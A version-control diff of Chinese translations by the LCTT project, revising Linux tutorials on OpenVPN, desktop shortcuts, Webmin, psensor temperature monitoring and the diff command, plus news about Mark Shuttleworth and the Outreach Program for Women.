@ -60,11 +61,11 @@ OpenVPN 的健壮性足够维持一条持久的连接,即使服务宕掉。而
### 现在,该做些什么? ###
你已经完成了所有设置,并且你的服务工作正常,你接下来能用这个干点什么?如果你以前一直用 OpenSSH 来远程你的服务器,你会有这样的思维定势:你可以利用 OpenVPN 登录到远程机器,然后跑上面的应用。你要是那样做,就太浪费 OpenVPN 了。你可以将 OpenVPN 想像成是一条虚拟的以太网电缆接到你的服务器上或者是你的局域网内,这条电缆还包着厚厚的加密保护。你可以在它提供的隧道上跑任何加密的不加密的服务,并且只需要在防火墙上开一个端口。
你已经完成了所有设置,并且你的服务工作正常,你接下来能用这个干点什么?如果你以前一直用 OpenSSH 来远程你的服务器,你会有这样的思维定势:你可以利用 OpenVPN 登录到远程机器,然后跑上面的应用。你要是那样做,就太浪费 OpenVPN 了。你可以将 OpenVPN 想像成是一条虚拟的以太网电缆接到你的服务器上或者是你的局域网内,这条电缆还包着厚厚的加密保护。你可以在它提供的隧道上跑任何加密的不加密的服务,并且只需要在防火墙上开一个端口。
所以你可以利用 OpenVPN 隧道来建立 SSH 连接,然后远程到服务器,然后在服务器上跑应用。你可以访问到网络资源,比如文件共享和 Web 应用。你可以强制让你的电脑通过 VPN 隧道访问到网络,但我认为你会想要同时能够使用本地网络和 VPN 网络的。
所以,在你的笔记本上你可以上网冲浪,使用 SSH做你想做的任何事上你想上的任何网络。当你想利用 OpenVPN 隧道做一些事情时,你只需要打开它,然后输入 IP 地址:
所以,在你的笔记本上你可以上网冲浪,使用 SSH做你想做的任何事上你想上的**任何**网络。当你想利用 OpenVPN 隧道做一些事情时,你只需要打开它,然后输入 IP 地址:
$ ssh carla@10.0.0.1
@ -84,10 +85,10 @@ OpenVPN 的健壮性足够维持一条持久的连接,即使服务宕掉。而
via: http://www.linux.com/learn/tutorials/745233-how-to-set-up-secure-remote-networking-with-openvpn-on-linux-part-2
译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID)
译者:[bazz2](https://github.com/bazz2) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
[1]:http://www.linux.com/learn/tutorials/743590-secure-remote-networking-with-openvpn-on-linux
[1]:http://linux.cn/article-2286-1.html
[2]:http://10.0.0.1/drupal
[3]:http://10.0.0.1/owncloud

View File

@ -1,13 +1,14 @@
如何在Linux的桌面上创建快捷方式或启动器
===
如在Linux桌面系统中有一个程序你经常使用,你可能想去创建一个“桌面快捷方式”,以便于你在桌面只要点击一下快捷方式就可以启动它。大多数带有图形界面的程序会在安装时自动在桌面上创建快捷方式,还有一些图形界面程序或者命令行程序可能需要你手动创建快捷方式。
在Linux桌面系统中你经常使用一个程序,你可能想去创建一个“桌面快捷方式”,以便于你在桌面只要点击一下快捷方式就可以启动它。虽然不少带有图形界面的程序会在安装时自动在桌面上创建快捷方式,还有一些图形界面程序或者命令行程序可能需要你手动创建快捷方式。
在这个手册里,我将告诉你**如何在不同的Linux桌面上添加桌面快捷方式**。
在这个教程里,我将告诉你**如何在不同的Linux桌面上添加桌面快捷方式**。(译注:其实除了作者所述的这些方法外,各种桌面上也还有更简便的方法,大家可以评论分享自己的经验)
一个桌面快捷方式是由内含该APP元信息例如app的名字启动命令或者图标位置等的.desktop文件所表示的。桌面快捷方式文件放置于**usr/share/applications**或者**~/.local/share/applications**处。前一个目录存储每个人都可以使用桌面快捷方式,而后一个目录则含有特定用户创建的快捷方式。
一个桌面快捷方式是由内含该APP元信息例如app的名字启动命令或者图标位置等的.desktop文件所表示的。桌面快捷方式文件放置于**/usr/share/applications**或者**~/.local/share/applications**处。前一个目录存储的桌面快捷方式每个用户都可以使用,而后一个目录则含有仅仅为特定用户创建的快捷方式。
###使用命令行创建桌面快捷方式
为特定程序或命令创建桌面快捷方式,你可以使用任意文本编辑器创建一个.desktop文件然后把它放到**/usr/share/applications**或者**~/.local/share/applications**处。一个典型的.desktop文件像下面这样。
要为特定程序或命令创建桌面快捷方式,你可以使用任意文本编辑器创建一个.desktop文件然后把它放到**/usr/share/applications**或者**~/.local/share/applications**处。一个典型的.desktop文件如下图所示。
[Desktop Entry]
Encoding=UTF-8
@ -21,17 +22,17 @@
Categories=Application;Network;Security; #categories in which this app should be listed.
Comment[en_US]=yEd Graph Editor #comment which appears as a tooltip.
除了手动创建.desktop文件之外依据你的系统所采用的桌面环境的不同有不同的创建应用快捷方式的方法接下来我们将会讲解这方法
除了手动创建.desktop文件之外依据你的系统所采用的桌面环境的不同有不同的创建应用快捷方式的方法接下来的教程我将为你讲解
###在GNOME桌面下创建快捷方式
在GNOME桌面环境下你可以使用gnome-desktop-item-edit很容易的去创建一个桌面快捷方式。
在GNOME桌面环境下你可以使用gnome-desktop-item-edit轻松创建创建一个桌面快捷方式。
$ gonme-desktop-item-edit ~/.local/share/applications --create-new
在这个例子中gnome-desktop-item-edit会在目录/.local/share/applications中自动创建一个桌面启动器文件。若是想自定义快方式图标或者其它信息,你可以手动编辑.desktop文件。
在这个例子中gnome-desktop-item-edit会在目录/.local/share/applications中自动创建一个桌面启动器文件。若是想自定义快方式图标或者其它信息,你可以手动编辑.desktop文件。
假如你的系统上没有安装gnome-desktop-item-edit例如在Ubuntu上你可以依照下面方式安装
如果在你的系统上gnome-desktop-item-edit不可用例如在Ubuntu上你可以依照下面方式安装
$ sudo apt-get install --no-install-recommends gnome-panel
@ -43,7 +44,7 @@ kickoff是KDE桌面默认的应用启动器。可以直接在kickoff里添加新
[![](http://farm3.staticflickr.com/2839/10848506344_7949638fe0.jpg)][1]
在你要创建快捷方式的合适分类处右击,点击位于顶部的“新条目”按钮,键入应用的名字。
在你要创建快捷方式的合适分类处(例如, "Utilities"右击,点击位于顶部的“新条目”按钮,键入应用的名字。
[![](http://farm8.staticflickr.com/7459/10848418496_ac6de897fe_z.jpg)][2]
@ -53,7 +54,7 @@ kickoff是KDE桌面默认的应用启动器。可以直接在kickoff里添加新
###在xfce桌面上创建快捷方式
假如你使用xfce桌面在桌面空白处右击然后选择“创建启动器”按钮。然后填上快捷方式的详细信息就可以了。
假如你使用xfce桌面在桌面空白处右击选择“创建启动器”按钮。然后填上快捷方式的详细信息就可以了。
###在Cinnamon桌面上创建快捷方式
@ -69,7 +70,7 @@ kickoff是KDE桌面默认的应用启动器。可以直接在kickoff里添加新
via: http://xmodulo.com/2013/11/create-desktop-shortcut-launcher-linux.html
译者:[Linux-pdz](https://github.com/Linux-pdz) 校对:[校对者ID](https://github.com/校对者ID)
译者:[Linux-pdz](https://github.com/Linux-pdz) 校对:[Caroline](https://github.com/carolinewuyan)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出

View File

@ -0,0 +1,87 @@
如何使用图形界面Webmin管理linux服务器
================================================================================
一台典型的linux服务器运行命令行环境中并已经包括了一些用于安装和配置各种没有界面的服务的基本工具。和一些成熟的具有图形界面的桌面软件相比就安全性、资源消费和速度来说仅需要少量的设置无疑是一个优点。
如果你习惯了使用基于图形界面的软件环境你也许会想在Linux服务器中是否也有图形界面。典型的Linux桌面环境如`GNOME`、`KDE`等,与它们提供的功能相比,其所占用的系统资源负担是很不值得的,而且还不够安全,因为越多的代码越会带来安全弱点。
另外一个成熟的桌面GUI的可选替代是使用 **基于Web的管理工具**。现在已经有许多基于Web的配置管理工具如 [Webmin][1]、[ISPconfig][2]、[Zentyal][3]等。
在这篇教程中, 我会讲述 **怎样利用基于Web的界面工具来管理和配置Linux服务器**
Webmin 是一个用`Perl`语言写的轻量级 (~20 MB) 系统配置工具。 Webmin 具有内置的web服务器 允许用户通过web接口来配置Linux服务器。 其中一个优点是由于它是基于模块架构的,你可以选择性加载[模块][12]来扩展其功能。
### Linux服务器上安装Webmin ###
在 Ubuntu 或 Debian 系统中安装Webmin 你可以使用如下命令。
$ sudo apt-get install perl libnet-ssleay-perl openssl libauthen-pam-perl libpam-runtime libio-pty-perl apt-show-versions python
$ wget http://prdownloads.sourceforge.net/webadmin/webmin_1.660_all.deb
$ sudo dpkg -i webmin_1.660_all.deb
在CentOS 或 RHEL 系统中安装Webmin 使用如下命令:
$ wget http://prdownloads.sourceforge.net/webadmin/webmin_1.660_all.deb
$ sudo rpm -U webmin-1.660-1.noarch.rpm
### 使用 Webmin ###
安装好Webmin之后你可以通过在浏览器中输入 https://\<主机的IP地址\>:10000 来使用。 如果你开启了防火墙, 请确保TCP端口 10000 没有被拦截。
同时, 请注意你应该使用 HTTPS 而不是 HTTP。 否则, 会出现重定向错误。 Webmin 默认使用其自己生成的的SSL验证模式。
一旦你进入了Webmin登录页面 你可以使用root身份登录 当然需要输入root账户密码或者使用具有root权限的任何用户账户登录。 登录成功后, 你可以看到如下Linux服务器的状态信息。
[![](http://farm4.staticflickr.com/3803/10937800943_e1ac465c3f_z.jpg)][4]
### Webmin 的特点 ###
Webmin 一个引以为豪的优点就是它几乎能够配置任何Linux服务器所支持的配置。接下来我来介绍让你们大体了解它的一些重要功能。
设置引导时自动启动的服务, 同时显示他们相关配置信息。
[![](http://farm8.staticflickr.com/7437/10937589506_7abcaac10e_z.jpg)][5]
实时监控服务器状态和其他服务, 同时配置定时监控及邮件提醒。 你也可以监控一系列服务器守护进程如 NFS、MySQL、 BIND DNS、Squid proxy、Apache Web server等 或者监控系统资源如磁盘存储情况、内存使用和网络占用等。
[![](http://farm6.staticflickr.com/5521/10937589676_a64d4eee57_z.jpg)][6]
配置 iptables-based firewall。
[![](http://farm4.staticflickr.com/3679/10937801173_61cd4b11a3_z.jpg)][7]
配置本地路由表和网关。
[![](http://farm6.staticflickr.com/5545/10937531925_a5d77384ac_z.jpg)][8]
挂载和配置文件系统。
[![](http://farm4.staticflickr.com/3710/10937589556_9fd192cdb9_z.jpg)][9]
通过文件管理接口来查看和修改本地文件但是这需要浏览器有相关的java插件。
[![](http://farm6.staticflickr.com/5544/10937531975_368196fd03_z.jpg)][10]
通过改变Webmin的相关配置你可以控制管理 IP 地址,添加/删除 Webmin 功能模块,开启双因子认证来使用安全登录功能,或者创建证书验证等。
[![](http://farm8.staticflickr.com/7317/10937532015_b5e1263496_z.jpg)][11]
--------------------------------------------------------------------------------
via: http://xmodulo.com/2013/11/manage-linux-server-gui.html
译者:[thinkinglk](https://github.com/译者ID) 校对:[Caroline](https://github.com/carolinewuyan)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
[1]:http://www.webmin.com/
[2]:http://www.ispconfig.org/
[3]:http://www.zentyal.org/
[4]:http://www.flickr.com/photos/xmodulo/10937800943/
[5]:http://www.flickr.com/photos/xmodulo/10937589506/
[6]:http://www.flickr.com/photos/xmodulo/10937589676/
[7]:http://www.flickr.com/photos/xmodulo/10937801173/
[8]:http://www.flickr.com/photos/xmodulo/10937531925/
[9]:http://www.flickr.com/photos/xmodulo/10937589556/
[10]:http://www.flickr.com/photos/xmodulo/10937531975/
[11]:http://www.flickr.com/photos/xmodulo/10937532015/
[12]:http://www.webmin.com/standard.html

View File

@ -0,0 +1,111 @@
如何在Linux下监控系统温度
================================================================================
大多数情况下你无需担心你的电脑温度。除非制造上的缺陷否则硬件设计一般不会使其超过最高工作温度。但即使没有任何硬件故障各种各样的软件问题也会导致硬件过热例如显卡驱动的严重bug风扇控制程序的错误配置CPU调频守护进程的故障等等。
严重的过热可能会对硬件造成永久性的伤害,所以应当时刻小心系统上的任何过热问题。因此,如果有合适的温度监控系统,能在系统温度突然急速上升时,第一时间向用户发出警报,岂不美哉?
本教程,我将描述**如何在Linux下监控系统温度**。
在Linux下有许多用户级工具可以检查和监控各种系统组件的温度。
例如[lm-sensors][1],它可以从硬件嵌入式传感器获取信息,以达到监测温度、电压、湿度和风扇的作用;还有[hddtemp][2],它可以通过读取[S.M.A.R.T.][3]参数来测量温度;今天我们要介绍的是[psensor][4]这是一款前端图形化界面温度监测工具能够可视化显示CPU、Nvidia/ATI/AMD各家显卡以及硬盘等多个硬件设备的温度。
接下来我将描述如何设置psensor来监控CPUs和硬盘的温度。
### 在Linux 桌面系统中安装 psensor###
使用psensor可视化显示系统温度需要基于其他工具诸如lm-sensors和hddtemp等获得的数据。因此你需要在安装psensor的同时一并安装这两款工具。
在Debian或Ubuntu下安装psensor:
$ sudo apt-get install lm-sensors hddtemp psensor
在Ubuntu下还可以通过PPA仓库安装最新版本的psensor
$ sudo add-apt-repository ppa:jfi/ppa
$ sudo apt-get update
$ sudo apt-get install lm-sensors hddtemp psensor
在Fedora下安装psensor
$ sudo yum install lm_sensors hddtemp
$ sudo yum install gcc gtk3-devel GConf2-devel lm_sensors-devel cppcheck libatasmart-devel libcurl-devel json-c-devel libmicrohttpd-devel help2man libnotify-devel libgtop2-devel make
$ wget http://wpitchoune.net/psensor/files/psensor-0.8.0.3.tar.gz
$ tar xvfvz psensor-0.8.0.3.tar.gz
$ cd psensor-0.8.0.3
$ ./configure
$ make
$ sudo make install
这里注意由于需要GTK3库的支持psensor无法与搭载GNOME2桌面的CentOs或RHEL 6兼容。
### 在Linux中配置 psensor ###
在启动 psensor之前你需要先配置lm_sensors和hddtemp。
#### lm_sensors 配置 ####
运行以下命令配置lm_sensors每一项都选择YES。
$ sudo sensors-detect
这个命令将会探查和检测你硬件中嵌入的传感器(包括CPUs、储存控制器、I/O芯片),然后自动决定系统中哪个驱动模块需要载入并监测其温度。
一旦传感器检测完成,你需要把检测到的驱动模块添加到/etc配置中这样它们才可以在开机时自动加载。
![img](http://farm6.staticflickr.com/5476/10719567256_029533a588_z.jpg)
在Debian或Ubuntu下检测到的驱动模块将会被添加到/etc/modules。在Fedora下驱动信息会添加到/etc/sysconfig/lm_sersors。
接下来,继续加载必要的模块,如下:
Ubuntu:
$ sudo service module-init-tools start
Debian:
$ sudo /etc/init.d/kmod start
Fedora
$ sudo service lm_sensors start
#### hddtemp 配置 ####
你还需要启动hddtemp监控硬盘驱动器的温度。
运行下列命令作为一个守护进程启动hddtemp。记得把“/dev/sda”替换成你系统上的硬盘驱动器。
$ sudo hddtemp -d /dev/sda
### 用 psensor 监控系统温度 ###
要启动psensor监测温度只需简单运行:
$ psensor
psensor窗口将显示一个可用的传感器列表并将传感器中读出的温度可视化显示出来。你可以选择性地启用或禁用任意一个传感器。
[![](http://farm8.staticflickr.com/7448/10719475225_f89b6f7191_z.jpg)][5]
另外,你可以为每个传感器设置警报级别,这样当传感器温度超过某一阈值时,你就能得到通知了。
![img](http://farm6.staticflickr.com/5534/10719755343_ba143454af_z.jpg)
psensor默认使用的温度单位是“摄氏度”最新的版本0.7-0.8支持在摄氏与华氏之间转换温度单位如果你用的版本比较旧例如0.6.x并且不支持温度单位转换Ubuntu用户可以通过PPA仓库来安装最新版的psensorDebian用户则可以通过源代码来安装。
--------------------------------------------------------------------------------
via: http://xmodulo.com/2013/11/monitor-system-temperature-linux.html
译者:[Luoxcat](https://github.com/Luoxcat) 校对:[Mr小眼儿](http://blog.csdn.net/tinyeyeser)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
[1]:http://lm-sensors.org/
[2]:http://www.guzu.net/linux/hddtemp.php
[3]:http://en.wikipedia.org/wiki/S.M.A.R.T.
[4]:http://wpitchoune.net/blog/psensor/
[5]:http://www.flickr.com/photos/xmodulo/10719475225/

View File

@ -2,9 +2,9 @@
================================================================================
![](http://linoxide.com/wp-content/uploads/2013/11/linux-diff-command.png)
在比较文件的时候通常会用GUI软件。很少有人真正会为了这个目的使用命令行工具。虽然不会说使用命令行就像散步一样简单但是如果你是一个Linux使用者那么我想你应该知道如何通过命令行比较文件因为一旦使用了它,它绝对是一个快速的方法。
在比较文件的时候,通常会用基于GUI软件。很少有人真正会为了这个目的使用命令行工具。虽然说使用命令行来比较文件/目录并不像一件小事儿那样容易但是如果你是一个Linux使用者那么我想你应该知道如何通过命令行比较文件因为一旦使用了它你会认为它绝对是一个快速的方法。
在本篇中我们将学习如何使用diff命令通过一些实际的例子
在本篇中,我们将通过一些实例来学习如何使用diff命令。
### Linux diff 命令 ###
@ -32,18 +32,18 @@
$ diff file1 file2
1d0
< Hi, 2a2 > Hi,
< Hi,
2a2
> Hi,
4,5c4
< I am fine,
< Thank you.
---
> I am fine.
你可以看见diff后面跟了两个文件的名字作为命令行的参数并且它在输出中生成了不同。输出并不容易理解。理由是,这是被计算机使用的而不是为了人类。尽管如此,让我们一步步解码输出:
你可以看见diff后面跟了两个文件的名字作为命令行的参数并且它在输出中生成了差异比较。输出并不容易理解。理由是,这是被计算机使用的而不是为了人类。尽管如此,让我们一步步解码输出
**注意** 在下面的文本中file1和file2将被作旧文件和新文件。
**注意** 在下面的文本中file1和file2将被作旧文件和新文件。
1d0
< Hi,
@ -53,22 +53,20 @@
2a2
> Hi,
这里2a2行意味着新文件中的第二行应该加到文件的第二行后。要添加的行显示在输出的下一行用'>'标记。
这里2a2行意味着新文件中的第二行应该加到文件的第二行后。要添加的行显示在输出的下一行用'>'标记。
4,5c4
< I am fine,
< Thank you.
---
> I am fine.
这里4,5c4这一行意味着在旧文件中的4到5行现在已被改变并且需要用新文件中的第行代替。添加和删除的行分别用'>'和'<'表示。
这里4,5c4这一行意味着在旧文件中的4到5行现在已被改变并且需要用新文件中的第4行代替。添加和删除的行分别用'>'和'<'表示。
那么,来总结一下,
- 首先diff命令的第一个参数被视为旧文件而第二个参数被视为新文件。
- 像1d0 2a2, 4,5c4这种表达式可以用语法解码为 **[旧文件的行号或者行的范围][行为][新文件的行号或者行的范围]**。这里的'行为'可以使追加,删除或者改变替换。
- 像1d0、2a2、4,5c4这种表达式可以用语法解码为 **[旧文件的行号或者行的范围][行为][新文件的行号或者行的范围]**。这里的'行为'可以追加,删除或者改变替换。
- '<'代表删除的行,而'>'代表添加的行。
除了文件外diff命令还可以比较两个目录。让我们通过一个例子学习。
@ -93,7 +91,7 @@
你可以看到当diff命令被用来比较这两个目录时很容易就会显示两个文件中缺失的文件。
下面是在命令行下常用的选项:
下面是一些在命令行下常用的选项:
### 1. 用 -i 忽略大小写 ###
@ -109,13 +107,15 @@
$ diff file1 file2
1c1
< HI > hi
< HI
---
> hi
你可以看见diff命令在输出中报告了大小写不同。
要去除这个默认行为,使用-i选项。
以下是例子:
以下是例子:
$ diff -i file1 file2
$
@ -124,9 +124,9 @@
### 2. 用 -s 选项报告两个文件相同 ###
在例子1的后面我们看到如果文件相同dif不会生成报告。虽然这个默认行为不错但是它仍可能会造成很大疑惑特别对于新手而言。因此如果你像样diff命令明确地报告两个文件不同那么就使用-s命令选项。
在例子1的后面我们看到如果文件相同diff不会生成报告。虽然这个默认行为不错但是它仍可能会造成很大疑惑特别对于新手而言。因此如果你像样diff命令明确地报告两个文件不同那么就使用-s命令选项。
这是个例子:
来举个例子:
$ diff -is file1 file2
Files file1 and file2 are identical
@ -138,7 +138,7 @@
另外一个常用的是diff报告文件存在不同数量的空格。
以下是例子
举例说明
$ cat file1
Hi, how are you?
@ -146,14 +146,12 @@
$ cat file2
Hi, how are you?
观察这两个文件唯一的不同是'are'和'you'之间额外的空格。现在当使用diff命令比较两个文件时这个是输出:
观察这两个文件唯一的不同是file2中'are'和'you'之间额外的空格。现在当使用diff命令比较两个文件时输出如下
$ diff file1 file2
1c1
< Hi, how are you?
---
> Hi, how are you?
因此你可以看到diff命令报告了不同。但是如果你想要忽略这些空格使用 -b 选项。
@ -169,7 +167,7 @@ diff命令还提供了更多的命令行选项。阅读[man page][1]来获取完
via: http://linoxide.com/linux-command/linux-diff-command-examples/
译者:[geekpi](https://github.com/geekpi) 校对:[校对者ID](https://github.com/校对者ID)
译者:[geekpi](https://github.com/geekpi) 校对:[Caroline](https://github.com/carolinewuyan)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出

View File

@ -0,0 +1,33 @@
Mark Shuttleworth为“茶派”及其他错误认错
================================================================================
**Canonical公司的创始人Mark Shuttleworth他澄清了他的[“茶派”论调][4],为他的言论而表示歉意。**
![](http://i1-news.softpedia-static.com/images/news2/Mark-Shuttleworth-Regrets-the-quot-Tea-Party-quot-Remarks-and-Other-Canonical-Mistakes-398819-2.jpg)
我们并不是每天都能看到Mark Shuttleworth连续道歉两次很有可能这是第一次。
[第一个道歉][1]是对收到了Canonical公司法律团队邮件的fixubuntu.com的站长Micah F. Lee他写了一篇广泛传播的关于这些问题的博客并且在许多论坛和网站引起了热议。
Mark Shuttleworth首先在Google+向他道歉,接着他在其个人博客上写了正式的道歉文章,他的博客通常都是用于宣布重要事情的地方。
这个道歉之后,他又花了一些时间说,他为带来了很多抨击的[“茶派”][2]的说法而后悔,这个事情甚至比他原来认为的还要糟糕。
“另一方面从个人角度看我自己犯了一个错误当我使用标签“开源茶派”来指那些对Canonical做的事情的非技术评论家。这是不对的并且的确可能冒犯了真的茶派注意这里以及那些非技术批评家再看这儿。”
“这并不是说我建议我不需要这样技术反馈而是一些假定我拒绝了包括技术反馈在内的所有反馈。我没有——我在说对软件的评价并不是软件本身的中心而是开发软件的人需求的综合或者是某个自由软件协议下发布或者是公司的策略、或者是公司后面的国家”Mark Shuttleworth[说道][3]。
希望结束在这个事件上的所有的讨论人们最终将能够接受引发了这次讨论的Mir。
--------------------------------------------------------------------------------
via: http://news.softpedia.com/news/Mark-Shuttleworth-Regrets-the-quot-Tea-Party-quot-Remarks-and-Other-Canonical-Mistakes-398819.shtml
译者:[Vito](https://github.com/vito-L) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
[1]:http://news.softpedia.com/news/Mark-Shuttleworth-Apologizes-for-the-Trademark-Infringement-Letter-Sent-to-Fixubuntu-com-398583.shtml
[2]:http://news.softpedia.com/news/Mark-Shuttleworth-Says-That-Mir-Opponents-Have-Formed-the-Open-Source-Tea-Party-392793.shtml
[3]:http://www.markshuttleworth.com/archives/1299
[4]:http://linux.cn/article-2283-1.html

View File

@ -1,34 +1,35 @@
延伸项目为Linux内核寻找新的女性实习生
===
作为[FOSS针对女性的延伸项目][1]这个夏季工作在Linux基金会的实习生们有着多样的背景和水平也高低不等但是她们至少有一件事情是相同的除去她们的性别之外。她们可以在自己的履历中添加一项“Linux内核工作者”。
Linux编程女神计划招募新的内核级MM实习生
=====
作为[FOSS的Linux编程女神计划Outreach Program for Women][1]的一部分这个夏季在Linux基金会工作的实习生们背景不同水平也高低不等但是她们至少有一件事情是相同的除去性别之外就是她们可以在自己的履历中添加一项“Linux内核黑客”。译注Outreach Program for WomenOPW此处译作“Linux编程女神计划”带有调侃意味Just joke没有恶意。
![](http://www.linux.com/images/stories/41373/OPW-kernel-contributions-9.jpg)
*针对女性的延伸项目在对Linux内核3.12的贡献已经名列前茅。来源LWN.net*
*针对女性的招募项目在对Linux内核3.12的贡献已经名列前茅。来源LWN.net*
在Linux基金会资助的第一批每人5000美元薪水的申请人中Lisa Nguyen, Xenia Ragiadakou, Elena Ufimtseva, Laura Vasilescu 和Tulin Izer是41获得者中的7名女性女性获得者。她们与Intel、Oracle和Citrix的内核开发者一起工作了三个月解决了包括X86启动协议和XNUMA拓扑在内的项目。她们拿出了奖金中的500美元出席了并在在新奥尔良或者爱丁堡举行的LinuxCon会议上演讲。
在Linux基金会资助的第一批每人5000美元酬金的申请人中Lisa Nguyen, Xenia Ragiadakou, Elena Ufimtseva, Laura Vasilescu 和Tulin Izer是41申请者中的7名女性女性获得者。她们与Intel、Oracle和Citrix的内核开发者一起全职工作了三个月处理包括x86启动进程和XNUMA拓扑等项目。她们还利用500美元的旅行奖学金出席了在新奥尔良或者爱丁堡举行的LinuxCon会议并做了演讲。
“我并不是总有机会去说,我在LinuxCon北美会议上做志愿者在LinuxCon北美会议上发表演讲而且与Linux Torvalds交流了三天”Nguyen说她是一个Linux内核实习生与Orcale的Konrad Rzeszutek Wilk一起解决Xen虚拟机的时钟驱动问题。
“我要说能有我这样的机会并不多哦,在LinuxCon北美会议上做志愿者在LinuxCon北美会议上发表演讲而且与Linux Torvalds交流了三天”Nguyen说她是一个Linux内核实习生与Orcale的Konrad Rzeszutek Wilk一起解决Xen block 驱动问题。
除了学习如何创建和提交内核补丁这些实习生们通过结交新朋友和同事克服了她们的恐惧心理为Linux内核的发展作出了显的贡献。
除了学习如何创建和提交内核补丁这些实习生们通过结交新朋友和同事克服了她们的恐惧心理为Linux内核的发展作出了显的贡献。
“我不再害怕碰内核代码了”Izer这样说道她和来自Intel的Peter P. Waskiewicz Jr.一起工作去解决X86的启动进程并行化问题。“这是我第一次对开源项目作出贡献我以此为自豪。在我的余生,我将接着做下去”。
“我不再害怕碰内核代码了”Izer这样说道她和来自Intel的Peter P. Waskiewicz Jr.一起工作解决x86的启动进程并行化问题。“这是我第一次对开源项目作出贡献我以此为自豪。我将接着做下去”。
###内核贡献着排行榜
最为一个组织OPW列出了一个针对Linux3.11内核的贡献排行榜,可参看[在LWN上的权威内核报告][2]。实习生Xenia Ragiadakou给3.11内核贡献了100个补丁在最活跃的开发者中位列前10
据[LWN 8月内核报告][2]作为一个组织OPW被列为对Linux3.11内核的主要贡献者之一提交了230个变更总体位于第13位。其中实习生Xenia Ragiadakou给3.11内核贡献了100个补丁在最活跃的开发者中位列前10
“我的主要工作就是添加追踪事件,然后写了一个trace-cmd插件以便于把追踪事件写成利于人们阅读的格式以方便于xhci(驱动)的debug”Ragiadakou说她和Intel的内核开发者Sarah Sharp一起做这项工作。“我学习了如何使用git如何使用静态代码分析工具以及如何发送补丁如何查看debug日志usb子系统是如何组成的xhci驱动又是如何实现的。”
“我的主要工作就是添加追踪事件,然后写trace-cmd插件以便于人们阅读的格式分析这些痕迹以方便xhci(驱动)找出问题。” ”Ragiadakou说她和Intel的内核开发者Sarah Sharp一起做这项工作。“我学习了如何使用git如何使用静态代码分析工具以及如何发送补丁如何查看debug日志usb子系统是如何组成的xhci驱动又是如何实现的。”
在内核3.12上OPW再次排在了贡献最大的团队或公司之中这次是排行第11行有19649行代码的改动,可参看[LWN的在10月份的分析报告][3]。那代表了在过去最新的一次开发周期中接近2.7%的改动量。
据[LWN 10月分析报告][3]在内核3.12上OPW再次排在了贡献最大的团队或公司之中这次是排行第11行有19649行代码的改动。那代表了在过去最新的一次开发周期中接近2.7%的改动量。
在她们的实习计划在9月份结束时她们中的大多数仍然持续对她们开始做的以及打算继续做的项目继续保持这贡献
在她们的实习计划在9月份结束时她们中的大多数仍然持续做该项目并打算继续做下去
“我认为成为一个内核开发者是一件非常酷的事情将来我也要继续做这件事情”Vasilescu说她和Intel的Carolyn Wyborny以及 Anjali Singha一起解决igb驱动的ethtool属性。
“我甚至需要学习如何才能停下来。有时候好吧是常常我无法停下来”Ufimtseva说她和Citrix的Stefano Stabellini、Dario Fargiolli、George Dunlap一起工作以解决针对与工作在xen上的并行虚拟机的vNUMA拓扑问题。“我一直努力最终我贡献的补丁被提交到了高质量代码库里这真的是很鼓舞人心哇
下一轮Liux内核实习生的截止日期是11月。申请着应当了解c或者c++的基本知识布尔代数学对Linux/Unix操作系统有一定的经验了解Git更好不过也不需要。想了解有关可参加的项目以及申请的更详细信息可浏览[在内核新闻站点的OPW页面][4]。
下一轮Linux内核实习生的截止日期是11月。申请者应有c或c++和布尔代数的基本知识对Linux/Unix操作系统有一定的经验了解Git更好不过不是硬性要求。想了解有关项目以及如何申请的更详细信息可浏览[ Kernel Newbies上的OPW 页面][4]。
###Lisa Nguyen
@ -36,11 +37,11 @@
**Lisa Nguyen和Oracle的Konrad Rzeszutek一起解决Xen的时钟驱动问题**
在我成为OPW实习生之前我已经获得了多个大学学位如计算机科学数字辩论和信息安全等。我在过去的两年中持续地使用Linux我还在Linux社区中充当多种角色例如项目管理着man页的作者LinuxCon会议的协调着以及内核贡献着。
在我成为OPW实习生之前我已经获得了多个大学学位如计算机科学数字分析和信息安全等。我在过去的两年中持续地使用Linux我还在Linux社区中充当多种角色例如项目管理着man页的作者LinuxCon会议的协调着以及内核贡献着。
**你为什么申请同OPW一起为Linux内核工作**
我想要一个挑战,想要跳离自己的舒服区域。我要给软件开发一个机会因为过去我一直面对这自信心问题。一天我决定要寻求一个有关Linux的职业来代替现在的数字分析工作。当我看到OPW项目出现在Linux基金会在Google+上的博文时,我觉得这是一个合适不过的机会咯,于是,我想“我为什么不去尝试一下呢?”
我想要一个挑战,想要跳离自己的小窝。我要给自己一个软件开发的机会因为过去我一直面临自信心问题。一天我决定要寻求一个有关Linux的职业来而不是数字分析工作。当我看到OPW项目出现在Linux基金会在Google+上的博文时,我觉得这是一个合适不过的机会咯,于是,我想“我为什么不去尝试一下呢?”
###Elena Ufimtseva
@ -52,7 +53,7 @@
**你为什么申请同OPW一起为Linux内核工作**
我觉得我需要使用低级语言而不是java去软件例如系统软件。我有一种感觉我能应对复杂的问题并解决他们。我经常阅读最新的Linux新闻我觉得最吸引我注意的是Greg在一年前在Google做的关于Linux内核开发着社区以及补丁递交程序等的报告。我觉得“哇,这好好玩哇!”
我觉得我想在底层开发软件例如系统软件而不是用java。我有一种感觉我能应对复杂的问题并解决他们。我经常阅读最新的Linux新闻我觉得最吸引我注意的是Greg在一年前在Google做的“关于Linux内核开发者社区以及补丁递交程序”等的报告。我觉得“哇,这好好玩哇!”
### Laura Vasilescu ###
@ -60,7 +61,7 @@
**Laura Vasilescu 和 Carolyn Wyborny以及Anjali Singhai共同去解决igb驱动的ethtool属性。**
